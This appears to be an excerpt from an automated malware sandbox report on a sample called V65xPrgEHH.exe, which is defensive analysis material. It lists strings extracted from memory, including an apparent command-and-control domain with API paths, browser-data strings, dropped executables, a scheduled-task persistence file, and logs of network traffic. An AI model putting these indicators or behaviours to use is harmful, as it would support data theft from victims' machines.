Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_176.15.dr	String found in binary or memory: http://www.broofa.com
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3140681811.000000006FD5D000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139220368.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_176.15.dr	String found in binary or memory: https://apis.google.com
Source: V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_176.15.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_176.15.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_176.15.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_176.15.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_176.15.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://support.mozilla.org
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: V65xPrgEHH.exe, 00000000.00000003.2266567284.0000000005958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: V65xPrgEHH.exe, 00000000.00000003.2216413128.0000000001103000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216480469.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat/
Source: V65xPrgEHH.exe, 00000000.00000003.2293839610.0000000001103000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat//%w
Source: V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2293899082.0000000001178000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2293685890.000000000111A000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2293784143.000000000113E000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216480469.000000000113E000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2369875890.0000000001195000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat/api
Source: V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324658098.0000000001175000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat/apib
Source: V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat/apikamckn
Source: V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216480469.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat/apip
Source: V65xPrgEHH.exe, 00000000.00000003.2293685890.000000000111A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat/apix
Source: V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2264619404.000000000584D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2264865609.000000000584D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000584D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/api
Source: V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/apiWdtPWdtP
Source: V65xPrgEHH.exe, 00000000.00000003.2293685890.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/apil
Source: V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_176.15.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_176.15.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_176.15.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: V65xPrgEHH.exe, 00000000.00000003.2266514753.000000000588A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: V65xPrgEHH.exe, 00000000.00000003.2266514753.000000000588A000.00000004.00000800.00020000.00000000.sdmp, GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://www.mozilla.org
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://www.mozilla.org#
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49790 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: V65xPrgEHH.exe	Static PE information: section name:
Source: V65xPrgEHH.exe	Static PE information: section name: .idata
Source: V65xPrgEHH.exe	Static PE information: section name:
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name:
Source: 5XYR1IZSU740RQ8S.exe.0.dr	Static PE information: section name: .idata
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name:
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: .idata
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: .idata
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name:
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\GIEHIDHJDB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_011495D9	0_3_011495D9
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0110C0A1	0_3_0110C0A1
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C98ECD0	13_2_6C98ECD0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C92ECC0	13_2_6C92ECC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0AC30	13_2_6CA0AC30
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9F6C00	13_2_6C9F6C00
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C93AC60	13_2_6C93AC60
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C6D90	13_2_6C9C6D90
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C934DB0	13_2_6C934DB0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CABCDC0	13_2_6CABCDC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CAB8D20	13_2_6CAB8D20
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9FED70	13_2_6C9FED70
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA5AD50	13_2_6CA5AD50
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9B6E90	13_2_6C9B6E90
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C93AEC0	13_2_6C93AEC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9D0EC0	13_2_6C9D0EC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA10E20	13_2_6CA10E20
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9CEE70	13_2_6C9CEE70
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA78FB0	13_2_6CA78FB0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C93EFB0	13_2_6C93EFB0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0EFF0	13_2_6CA0EFF0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C930FE0	13_2_6C930FE0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C936F10	13_2_6C936F10
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA70F20	13_2_6CA70F20
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C99EF40	13_2_6C99EF40
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9F2F70	13_2_6C9F2F70
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA368E0	13_2_6CA368E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C980820	13_2_6C980820
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9BA820	13_2_6C9BA820
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA04840	13_2_6CA04840
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9F09B0	13_2_6C9F09B0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C09A0	13_2_6C9C09A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9EA9A0	13_2_6C9EA9A0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA4C9E0	13_2_6CA4C9E0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9649F0	13_2_6C9649F0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C986900	13_2_6C986900
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C968960	13_2_6C968960
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9DEA00	13_2_6C9DEA00
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E8A30	13_2_6C9E8A30
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9ACA70	13_2_6C9ACA70
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9D0BA0	13_2_6C9D0BA0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA36BE0	13_2_6CA36BE0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA5A480	13_2_6CA5A480
